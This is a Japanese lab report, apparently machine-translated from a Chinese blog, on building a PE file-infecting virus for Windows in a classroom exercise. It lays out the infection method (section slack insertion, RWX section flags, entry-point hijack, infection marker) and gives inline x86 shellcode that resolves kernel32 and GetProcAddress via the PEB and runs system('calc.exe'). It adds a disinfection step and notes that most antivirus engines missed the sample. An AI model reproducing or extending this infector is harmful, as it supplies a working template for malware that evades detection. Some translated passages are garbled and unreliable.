PEファイルウイルス実験(2)-実験レポート

実験の目的:PEファイル形式を習得し、PEファイルのウイルス感染の原理を理解します。
実験内容:
(1)PEファイル形式を理解する。
(2)実験手順に従い、PEファイルにウイルスコードを挿入するプログラム。ウイルスコードを挿入した後、PEファイルを実行します。
(3)ディスク内の.exeファイルを検索し、すべての.exeファイルにウイルスコードを挿入し、ウイルスコードを挿入した後にexeファイルを実行する操作を実現するためのプログラミング。
(4)ディスク内の(3)の.exeファイルを検索し、すべての.exeファイルのウイルスコードを削除し、ウイルスコードを削除してからexeファイルを実行する動作を実現するプログラム。

プロジェクトアドレス

https://github.com/jmhIcoding/PE-learning.git

1.実験原理:

* .exe、.dll、 .ocxなどのWin32実行可能ファイルは、すべてPE形式のファイルです。PE形式のファイルに感染するwin32ウイルスは、略してPEウイルスと呼ばれます。PEウイルスは、すべてのウイルスの中で最も多く、破壊的で、最も巧妙なウイルスでもあります。ウイルス対策技術をより良く発展させるためには、ウイルスの原理を理解することが非常に必要です。PEウイルスは基本的に、再配置、API関数アドレスの傍受、感染したターゲットファイルの検索、メモリファイルのマッピング、感染の実装など、いくつかの機能を備えている必要があります。これらは、ウイルスが解決しなければならないいくつかの基本的な問題でもあります。

PEウイルス感染ファイルの基本的な手順は次のとおりです。
(1)ターゲットファイルの最初の2バイトが「MZ」であるかどうかを確認します。
(2)PEファイルマーク「PE」を決定します。
(3)感染マークを確認し、感染している場合は飛び出し、HOSTプログラムの実行を続行します。それ以外の場合は続行します。
(4)ディレクトリ(データディレクトリ)の数を取得します(各データディレクトリ情報は8バイトを占めます)。
(5)断面表の開始位置を取得します。(ディレクトリのオフセットアドレス+データディレクトリが占めるバイト数=セクションテーブルの開始位置)。
(6)すべてのセクションテーブルをトラバースし、すべてのウイルスコードを収容できる空き領域がある最初のセクションを見つけます。
各セクションの空き領域の計算方法:
i番目のセクションの空き領域= i +1番目のセクションの仮想アドレス-i番目のセクションの仮想アドレス-i番目のセクションのMisc.VirtualSizeセクション
(7)ターゲットコードの記述を開始します。

  1. ターゲットコードのファイルオフセット位置を計算すると、後でターゲットコードがこの位置からPEファイルに書き込まれます。計算方法は次のとおりです。ターゲットセクションテーブルのMisc.VirtualSize +ターゲットセクションテーブルのPointerToRawData
  2. 変更されたターゲットセクションのセクション属性は0xE00000E0です。これは、ターゲットセクションが読み取り可能、書き込み可能、​​および実行可能になることを意味します。
  3. ターゲットコードに書き込まれたデータセグメント
  4. ターゲットコードを作成する執行機関
  5. AddressOfEntryPoint(つまり、プログラムのエントリポイントがウイルスのエントリの場所を指している)を変更し、同時に古いAddressOfEntryPointを保存して、HOSTに戻って実行を続行できるようにします。
  6. SizeOfImageを更新します(メモリ内のPEイメージ全体のサイズ=元のSizeOfImage +メモリセクションが整列された後のウイルスセクションのサイズ)。SizeOfCodeコードのサイズは、メモリアライメント後の元のSizeOfCode +ウイルスコードのサイズです。
  7. 感染マークを書き込み、感染マークの後に古いAddressOfEntryPointを書き込んで、無害化に役立てます。

2.実験装置(装置、コンポーネント)

(1)各生徒はWindowsオペレーティングシステムがインストールされたPCを持っています。

3.実験ステップ:

PEファイルウイルス
1。出力が「helloworld!」である単純なプログラムをコンパイルし、それを実行してhello.exeファイルを取得します。
2.2。単純なウイルスコードをコンパイルすると、ウイルスはシステムのコンピュータプログラムを起動できます。
3.3。準備プログラムは、ウイルスコードをhello.exeファイルに挿入し、挿入されたコードの後に​​hello.exeを実行します。
4.4。解毒コードを実行して、感染したばかりのhello.exeの問題を解決し、ウイルスコードを実行できないようにします。

4.実験データと結果分析:

1.ホストプログラムhello.exeを作成します。

int main()
{ printf( "Hello world!.. \ n"); system( "pause"); return 0; }操作効果:





ここに画像の説明を挿入

2.ウイルスコードを書く

ウイルスコードの基本的な考え方は次のとおりです:

A.最初にTEBを介してKernalBase32.dllのベースアドレスを動的に取得し
ます。B。次に、KernalBase32のプロセス空間を検索して、GetProcAddress()関数の関数アドレスを見つけます。
GetProcAddress()関数の関数プロトタイプは次のとおりです。

FARPROC GetProcAddress(
HMODULE hModule, // DLL模块句柄
LPCSTR lpProcName // 函数名
);

この関数を使用して、dll内の指定された関数の関数アドレスを取得できます。
この関数を使用して、LoadLibraryExa関数とsystem()関数のアドレスを取得します。
LoadLibraryExaの関数プロトタイプは次のとおりです。

HMODULE WINAPI LoadLibraryEx(
  _In_       LPCTSTR lpFileName,//DLL文件的文件名,例如“msvcr120.dll”
  _Reserved_ HANDLE  hFile,//保留字,设置为0
  _In_       DWORD   dwFlags//标志位,设置为0x10,以最高权限加载dll
);

LoadLibraryExa関数はdllファイルをロードするために使用されます。この実験では、msvcr120.dllをロードするために使用され、system()はmsvcr120.dllに存在します。system( "calc.exe")と同様の呼び出しメソッドを使用してpass system()計算プログラムを起動します。
C.ウイルスコードではデータの使用が必要であることを考慮して、コードの前にデータセグメントが追加されます。

ウイルスコードのレイアウトは次のとおりです。

データ域の合計96バイトには
次のものが含まれます。

旧的AddressOfEntryPoint,程序入口(4个字节)
Baseofmsvcr120;目标dll文件的基地址(4个字节)
AddOfFunction;目标函数(system)的函数地址(4字节),该函数将会被执行。
addOfcurrent;病毒代码的虚拟地址,用于重定位(4字节)
dllname;需要载入的目标dll的文件名,(16字节),也就是“msvcr120.dll”
functionname;目标dll里面需要执行的函数(16字节),也就是“system”
info;functionname函数的参数(16字节),也就是“calc.exe”
loadLibrarayEx; LoadLibraryExa的字符串(16字节)
pLoadLibraryExa;LoadLibraryExa函数的地址(4字节)
kernalBase; KernalBase的基地址(4字节)
getProcAddr; getProcAddress函数的基地址(4字节)
他们的定义为:
//病毒代码块
			//数据区
			DWORD oldEntry = fileh.OptionalHeader.AddressOfEntryPoint;//-92
			DWORD baseOfmsvcr120 = 0;//-88
			DWORD addOfprintf = 0;//-84
			DWORD addOfcurrent = 0;//-80
			char dllname[16] = "msvcr120.dll";//-76
			char functionname[16] = "system";//-60
			char info[16] = "calc.exe";//-44
			char loadlibraryEx[16] = "LoadLibraryExA";//-28
			DWORD pLoadLibraryExA = 0;//-12
			DWORD kernelBase = 0;//-8
			DWORD getProcAddr = 0;//-4

コード実行領域の設計:

最初に移転する必要があります

call A
				A :
				pop edi		
				//可能会有一定偏移
				sub edi,5
				mov [edi-80], edi;//assign current address.

現在のメモリアドレスをediに保存します。このとき、ediは最初に下位アドレスを80単位オフセットします。これは、addOfcurrentがデータ領域にあるメモリ単位です。呼び出し命令とポップ命令は5バイトを占めるため、ediを最初に5バイト減算する必要があることに注意してください。5バイトを減算した後、ediは実行データ領域getProcAddrの終わりです。

次に、KernalBase32のベースアドレスを取得します。

mov eax, fs:[30h]
			mov eax, [eax + 0ch]
			mov eax, [eax + 1ch]
			mov eax, [eax]
				mov eax, [eax + 8h]
			mov [edi-8], eax;

これは主にPEBとTEBの構造を通じて取得されます。このメソッドは、Windows 10、Windows 7、およびXPでKernalBase32ベースアドレスを正しく取得できます。

次に、GetProcAddress関数のアドレスを検索します。

				mov edi, eax
					mov eax, [edi + 3Ch]
					mov edx, [edi + eax + 78h]
					add edx, edi; edx = 引出表地址
					mov ecx, [edx + 18h]; ecx = 输出函数的个数
					mov ebx, [edx + 20h]
					add ebx, edi; ebx =函数名地址,AddressOfName

				search :
				dec ecx
					mov esi, [ebx + ecx * 4]
					add esi, edi; 依次找每个函数名称
					; GetProcAddress
					mov eax, 0x50746547
					cmp[esi], eax; 'PteG'
					jne search
					mov eax, 0x41636f72
					cmp[esi + 4], eax; 'Acor'
					jne search
					; 如果是GetProcA,表示找到了
					mov ebx, [edx + 24h]
					add ebx, edi; ebx = 序号数组地址, AddressOf
					mov cx, [ebx + ecx * 2]; ecx = 计算出的序号值
					mov ebx, [edx + 1Ch]
					add ebx, edi; ebx=函数地址的起始位置,AddressOfFunction
					mov eax, [ebx + ecx * 4]
					add eax, edi; 利用序号值,得到出GetProcAddress的地址
					sub eax, 0xb0
					pop edi
					mov ebx, edi;
					mov [ebx-4], eax;//GetProcAddress的地址

これは主に検索によって行われ、「GetProcAddress」という名前が見つかります。次に、GetProcAddressのアドレスが、この名前を介してエクスポートテーブルの構造に従ってNorthbridgeクエリによって取得され、データ領域のgetProcAddに保存されます。

次に、GetProcAddreeを介してLoadLibraryExaのアドレスを取得します。

sub ebx,28
				push ebx
				add ebx,28
				push [ebx-8];
				call [ebx-4];
			mov [ebx-12], eax;//LoadLibrary的地址
再通过LoadLibraryExa载入msvcr120.dll这个动态链接库:
				push 0x00000010
					push 0x00000000
					
					sub ebx,76
					push ebx
					add ebx,76
					//push eax
				call [ebx-12]

					mov [ebx-88], eax;

その中で、ebx-76は、データ領域内の文字列「msvcr120.dll」のアドレスです。このライブラリのハンドルは保持されます

次に、システムのアドレスを取得します。

mov edx, eax
					sub ebx,60
					push ebx
					add ebx,60
					push edx
				call [ebx-4];//得到system的地址
mov [ebx-84], eax;

システム関数を呼び出します。

sub ebx,44
					push ebx
					add ebx,44
				call eax

スタックを復元します。

					add esp, 400h
					pop ecx
					pop esp
					pop ebp
					pop edx

					pop esi
					pop eax
				pop ebx;

元のエントリポイントに切り替えます。

					mov eax, fs:[30h]
					mov eax, DWORD PTR [eax+8]
					add eax, [edi-92]
					mov edi,eax
					pop eax
				jmp edi

元のエントリアドレスは動的に計算する必要があることに注意してください。データ領域のoldEntryAddressは、古いエントリポイントの相対オフセットアドレスを保存するだけです。仮想アドレスを取得するには、この相対オフセットアドレスをプロセス自体のベースアドレスに追加する必要があります。

3.感染コードを書く

感染コードは、主に対象ファイルがPEファイルかどうか、感染しているかどうかを確認するためのものです。感染する可能性がある場合は、対象PEファイルにウイルスコードを挿入してください。
この実験では、DOSに続く8バイトを感染の兆候として使用します。DOSの後ろの4バイトが0x06060606の場合、感染していることを意味し、最後の4バイトは解毒用の古いアドレスです。
感染していない場合は、次のようにし
ます。1.PEファイルのすべてのセクションテーブルを取得します
。2。ウイルスコードを収容するのに十分な空き領域があるセクションテーブルを検索します。3。PEファイル
の適切なセクションにウイルスコードを書き込みます
。4 。変更したセクションのSizeOfImage、SizeOfCode、およびSection属性を変更します
。5。感染フラグを追加し、PEファイルのDOSの後ろの4バイトを0x06060606に設定し、古いプログラムエントリポイントを0x06060606の後ろに保存します。6。
プログラムエントリを変更します。 PEファイルのポイント。

4.解毒コードを書く

感染時にホストプログラムの実際のエントリポイントを感染マークの後ろに保存するため、解毒のプロセスは非常に簡単です。したがって、ホストプログラムの実際のエントリポイントを取得し、ホストプログラムのエントリポイントを変更するだけで済みます。ウイルスコードは実行されません。

5.実行結果

1でホストプログラムをhello.exeとして設定します。感染前のプログラムの動作効果は次のとおりです。
ここに画像の説明を挿入
ウイルスプログラムを実行してホストプログラムに感染します。
ウイルスプログラムの感染:

ここに画像の説明を挿入
感染したホストプログラムを実行する:
ここに画像の説明を挿入
ホストプログラムは、Hello worldを出力する前に計算プログラムを起動し、感染が成功したこと
を示します。IDAを使用してホストプログラムをチェックし、ウイルスコードがホストに正常に挿入されていることも確認できます。
ここに画像の説明を挿入
ここに画像の説明を挿入
次に、無害化プログラムを実行します。はいホストプログラムは無害化されます:
無害化プログラムは無害化中です:
ここに画像の説明を挿入
ホストプログラムを再度実行します:
ここに画像の説明を挿入
ホストプログラムが再び正常に戻り、計算プログラムが開始されていないことがわかります。だから解毒は成功です!

5.実験的結論、経験、および改善のための提案:

この実験では、PEプログラムのウイルスコード、感染モジュール、解毒モジュールを実際に作成することで、PEファイルの形式をより完全に把握することができます。この実験では、PEファイル内の空きアドレス空間のあるセクションを検索することにより、ウイルスコードを空き領域に挿入します。次に、対応するフィールドを変更し、セクションの属性を変更し、エントリポイントを変更して、感染フラグを追加します。感染したプログラムの実行構造は、ウイルスがホストプログラムに正常に感染し、ホストプログラムが実行される前に制御を取得したことを示しています。計算プログラムを起動した後、制御はホストプログラムに戻されました。実験は大成功でした。

また、ウイルスプログラムをオンラインのウイルススキャンWebサイトにアップロードして、ウイルスプログラムがウイルス対策ソフトウェアで認識できるかどうかをテストしました。チェックの結果は次のとおりです
ここに画像の説明を挿入
。39の有名なウイルス対策ソフトウェアをテストしました。 1つのアンチウイルスソフトウェアだけがウイルスプログラムを正確に識別しました。ウイルスプログラム。
ここに画像の説明を挿入
Kaspersky、Symantec、Rising、およびQihoo360は正確に識別されていません。これは、まだ通常のPEウイルスですが、発生していない新しいウイルスに直面した場合の従来のウイルス対策ソフトウェアの制限を示しています。

6.実験プロセス、方法および方法の改善のための提案:

実験ガイドの提案は、PEファイルに直接新しいセクションを追加してウイルスコードを挿入することです。実際、ワークロードは特に複雑です。新しいセクションを挿入した後、セクションテーブルは新しいセクションテーブルエントリを挿入する必要があるため、セクションテーブルエントリの後にすべてのセクションをオフセットする必要があります。このプロセスは非常にエラーが発生しやすいため、または単に最後のセクションテーブルを配置します(通常はセクションをオフセットする必要がないように変更するための無料のセクションテーブル)ですが、すべてのPEファイルが空白のセクションテーブルエントリを予約するわけではありません。

したがって、この実験では、セクションのギャップにウイルスコードを挿入する方法を使用します。このように、セクションをオフセットする必要はなく、変更されたPEファイルの配置を気にする必要もありません。

さらに、ウイルスコードを最後のセクションの最後に直接添付し、元の最後のセクションのコンテンツとマージして大きなセクションを形成できます。これにより、新しいセクションテーブルエントリを追加する必要がなく、セクションオフセットもありません。問題。

おすすめ

転載: blog.csdn.net/jmh1996/article/details/104592450